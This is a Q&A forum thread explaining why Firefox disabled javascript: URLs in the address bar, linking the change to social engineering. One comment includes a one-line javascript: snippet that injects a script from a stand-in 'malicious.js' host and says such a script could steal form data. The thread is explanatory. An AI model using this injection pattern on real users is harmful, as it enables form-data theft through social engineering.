Why did firefox remove Javascript injection on address bar? Someone said it was a security issue. What security issues could there be?
Add a comment
|
1 Answer
It basically has to do with social engineering - you'd be surprised how many lay people you can convince to copy and paste *anything* in their URL bar.
You can still do it through the developer console and/or some add-ons, so it's not that it is completely disabled - it just takes a few more steps now to actually do it, and the rationale is that gullible people would just give up if they need to follow a specific set of steps. Thus - more of a security through complexity than a real security measure, but it should in theory prevent many of the URL-bar 'attacks'.
You can read the whole discussion about that issue at Mozilla's Bugzilla.
-
I didn't know it was a danger to the users to inject Javascript. What would be an example of a URL-bar 'attack' that would cause trouble? Commented Mar 14, 2014 at 3:43
-
Given that
javascript:in the URL bar executes within the same context as the loaded page, you can pretty much do anything with the DOM. For example you could load in an arbitrary JS with:javascript:var scr=document.createElement("script"); scr.type="text/javascript"; scr.src="your.domain.com/malicious.js"; document.body.appendChild(scr);and then do whatever you want within that JS to the underlying page's DOM - from simple rearranging things to downright stealing form data and sending it back to your server via AJAX. Commented Mar 14, 2014 at 4:17 -
And there is a working (or it used to be) example at Mozilla's Bugzilla as well: Bug 527530 - Social Engineering Issue with "javascript:" URLs Commented Mar 14, 2014 at 4:21